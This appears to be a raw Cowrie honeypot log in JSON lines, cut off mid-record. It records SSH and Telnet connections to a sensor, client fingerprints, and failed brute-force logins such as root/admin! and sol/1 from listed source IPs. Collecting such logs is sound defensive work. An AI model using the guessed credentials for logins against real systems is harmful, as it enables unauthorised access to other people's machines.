{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:3b:36:bd:e7:d4:51:11:a2:85:52:2c:71:9a:8d:97","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALYU4PZ6qpI7foAvipmDELWS7aoZWYEAYDDGmE6qadfBURjLXq0+uEXDWIZRyCLboGZlFPb2EApGGz2f4aCKkfGPwQZcJCNW+ifegJhY/i0TIBD+t/4pqzlAIOcFrakBxJWgw+u4YyKJ0EB5jPdOPmYIp6TpsmD8NLaJV1kKqCI3AAAAFQDuTxEPtak7OutexvdR+oPCG6iviQAAAIB5e2bo1c2WAxubF2dIADzqJPx0oFEMEeynWjJzUxNHzvOhKyIRGk2k6EKeWGVA3/vzR4FLfMekrXQLOmB9Wc2wToB2gkDbrc5lyqmKhXJkKVJzMnX9/XLGdBH0oFtXhzc/phbh4CCKp30pWTZDa1mQjXSxaFMFsOcX0ngfhB/bWAAAAIAhY+czHqAEDPVHPAudwu3rRfxKlAlDvkkjq6tNZ9tcgQlp33m0bDmEJmexFxbfYLDWgAIQ5/jHkSvIgeYhrPw+2YfxBwX/HuJPKJIqESmAiJjLi6HzfTRDTGSJGqjpftFHeMDjiKFgPJRJn+CW0XnILOL8ZsGNgwFVilyM7hH5DA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8c:3b:36:bd:e7:d4:51:11:a2:85:52:2c:71:9a:8d:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.270728Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:3b:36:bd:e7:d4:51:11:a2:85:52:2c:71:9a:8d:97","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALYU4PZ6qpI7foAvipmDELWS7aoZWYEAYDDGmE6qadfBURjLXq0+uEXDWIZRyCLboGZlFPb2EApGGz2f4aCKkfGPwQZcJCNW+ifegJhY/i0TIBD+t/4pqzlAIOcFrakBxJWgw+u4YyKJ0EB5jPdOPmYIp6TpsmD8NLaJV1kKqCI3AAAAFQDuTxEPtak7OutexvdR+oPCG6iviQAAAIB5e2bo1c2WAxubF2dIADzqJPx0oFEMEeynWjJzUxNHzvOhKyIRGk2k6EKeWGVA3/vzR4FLfMekrXQLOmB9Wc2wToB2gkDbrc5lyqmKhXJkKVJzMnX9/XLGdBH0oFtXhzc/phbh4CCKp30pWTZDa1mQjXSxaFMFsOcX0ngfhB/bWAAAAIAhY+czHqAEDPVHPAudwu3rRfxKlAlDvkkjq6tNZ9tcgQlp33m0bDmEJmexFxbfYLDWgAIQ5/jHkSvIgeYhrPw+2YfxBwX/HuJPKJIqESmAiJjLi6HzfTRDTGSJGqjpftFHeMDjiKFgPJRJn+CW0XnILOL8ZsGNgwFVilyM7hH5DA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.273697Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:28:48:cf:6c:28:aa:29:6f:bb:35:f4:01:ce:c9:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+Oc1EaUu0WM1p73TJRdTMiHEAh+LJqXH8+PGnZnYJkKsg8IUuuxaoDQEL7DZRHwhb8g2DocIkBVDFM6fqLJ68BNnwPFpTb233WiS0/h+eVsEwjRPbcYCgLXlKbJ226ZIVO+VmkYd1NIZ5NweaJhDRQJvLbiKreQVNjIdEr/aPe1gApr4CgiOJ2WZE8ljKy+OPYTkqSBI4Uai8BKhDSjQhobUPOpOnKEHbOUOj1JgOAmEZtCs2q7b4GOWB5p/xWNdXNGIz7r0wGAIG5JFZKTGUl/4ckvgIsl7/yaD7tDO42c8m8WpEIhQ1MrfiBFbjwDe/AUUaG5oLIzUVm5HFE6v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:28:48:cf:6c:28:aa:29:6f:bb:35:f4:01:ce:c9:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.345938Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:28:48:cf:6c:28:aa:29:6f:bb:35:f4:01:ce:c9:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0+Oc1EaUu0WM1p73TJRdTMiHEAh+LJqXH8+PGnZnYJkKsg8IUuuxaoDQEL7DZRHwhb8g2DocIkBVDFM6fqLJ68BNnwPFpTb233WiS0/h+eVsEwjRPbcYCgLXlKbJ226ZIVO+VmkYd1NIZ5NweaJhDRQJvLbiKreQVNjIdEr/aPe1gApr4CgiOJ2WZE8ljKy+OPYTkqSBI4Uai8BKhDSjQhobUPOpOnKEHbOUOj1JgOAmEZtCs2q7b4GOWB5p/xWNdXNGIz7r0wGAIG5JFZKTGUl/4ckvgIsl7/yaD7tDO42c8m8WpEIhQ1MrfiBFbjwDe/AUUaG5oLIzUVm5HFE6v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.349780Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:49.423860Z","src_ip":"208.87.242.107","session":"a5b2d826d172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.425400495529175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:50.978372Z","src_ip":"172.81.62.90","session":"798cd892356e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:10:59.177575Z","src_ip":"46.19.67.181","session":"4e0626f36663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":46078,"dst_ip":"159.203.135.109","dst_port":23,"session":"94273a7423d6","protocol":"telnet","message":"New connection: 102.37.220.188:46078 (159.203.135.109:23) [session: 94273a7423d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:11:22.077065Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55150,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fa9883bd1e7","protocol":"ssh","message":"New connection: 80.66.85.226:55150 (10.17.0.5:22) [session: 0fa9883bd1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:11:50.665718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:11:50.669699Z","src_ip":"80.66.85.226","session":"0fa9883bd1e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:11:50.753312Z","src_ip":"80.66.85.226","session":"0fa9883bd1e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13971397","message":"login attempt [root/13971397] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:11:51.005063Z","src_ip":"80.66.85.226","session":"0fa9883bd1e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:11:52.091501Z","src_ip":"80.66.85.226","session":"0fa9883bd1e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.04984521865845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:11:54.126790Z","src_ip":"102.37.220.188","session":"94273a7423d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49856,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5924f8e9f8c","protocol":"ssh","message":"New connection: 80.94.92.184:49856 (159.203.135.109:22) [session: d5924f8e9f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:12.997774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:13.008998Z","src_ip":"80.94.92.184","session":"d5924f8e9f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:13.174665Z","src_ip":"80.94.92.184","session":"d5924f8e9f8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:14.396057Z","src_ip":"80.94.92.184","session":"d5924f8e9f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:15.766946Z","src_ip":"80.94.92.184","session":"d5924f8e9f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60676,"dst_ip":"159.203.135.109","dst_port":23,"session":"04e427d79596","protocol":"telnet","message":"New connection: 172.81.62.90:60676 (159.203.135.109:23) [session: 04e427d79596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:20.711488Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57776,"dst_ip":"10.17.0.5","dst_port":22,"session":"be0116584cad","protocol":"ssh","message":"New connection: 27.71.230.31:57776 (10.17.0.5:22) [session: be0116584cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:44.686077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:44.724008Z","src_ip":"27.71.230.31","session":"be0116584cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:45.915008Z","src_ip":"27.71.230.31","session":"be0116584cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!","message":"login attempt [root/admin!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:48.452961Z","src_ip":"27.71.230.31","session":"be0116584cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:50.966382Z","src_ip":"27.71.230.31","session":"be0116584cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":55648,"dst_ip":"10.17.0.5","dst_port":23,"session":"6254187dde55","protocol":"telnet","message":"New connection: 94.23.66.112:55648 (10.17.0.5:23) [session: 6254187dde55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:53.046544Z"}
{"eventid":"cowrie.session.closed","duration":3.6395039558410645,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:56.685903Z","src_ip":"94.23.66.112","session":"6254187dde55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.22944641113281,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:12:59.940809Z","src_ip":"172.81.62.90","session":"04e427d79596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":35912,"dst_ip":"10.17.0.5","dst_port":22,"session":"d591f90ff4b5","protocol":"ssh","message":"New connection: 194.59.206.2:35912 (10.17.0.5:22) [session: d591f90ff4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:13:19.976995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:13:19.981122Z","src_ip":"194.59.206.2","session":"d591f90ff4b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:13:20.070565Z","src_ip":"194.59.206.2","session":"d591f90ff4b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:13:20.163946Z","src_ip":"194.59.206.2","session":"d591f90ff4b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41136,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3480f348468","protocol":"telnet","message":"New connection: 128.199.8.54:41136 (159.203.135.109:23) [session: c3480f348468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:13:49.384399Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43502,"dst_ip":"159.203.135.109","dst_port":23,"session":"205af5dc0e05","protocol":"telnet","message":"New connection: 128.199.8.54:43502 (159.203.135.109:23) [session: 205af5dc0e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:13:55.102719Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48488,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1c35815a713","protocol":"telnet","message":"New connection: 128.199.8.54:48488 (159.203.135.109:23) [session: f1c35815a713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:00.139636Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53992,"dst_ip":"159.203.135.109","dst_port":23,"session":"976f419e8c2d","protocol":"telnet","message":"New connection: 172.81.62.90:53992 (159.203.135.109:23) [session: 976f419e8c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:03.614373Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44062,"dst_ip":"159.203.135.109","dst_port":22,"session":"712751467a73","protocol":"ssh","message":"New connection: 27.71.230.31:44062 (159.203.135.109:22) [session: 712751467a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:07.071446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:07.076165Z","src_ip":"27.71.230.31","session":"712751467a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:07.617040Z","src_ip":"27.71.230.31","session":"712751467a73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!","message":"login attempt [root/admin!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:11.136619Z","src_ip":"27.71.230.31","session":"712751467a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:12.362122Z","src_ip":"27.71.230.31","session":"712751467a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":53066,"dst_ip":"159.203.135.109","dst_port":22,"session":"4107095f4373","protocol":"ssh","message":"New connection: 43.166.242.149:53066 (159.203.135.109:22) [session: 4107095f4373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:13.264281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:14:13.267479Z","src_ip":"43.166.242.149","session":"4107095f4373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-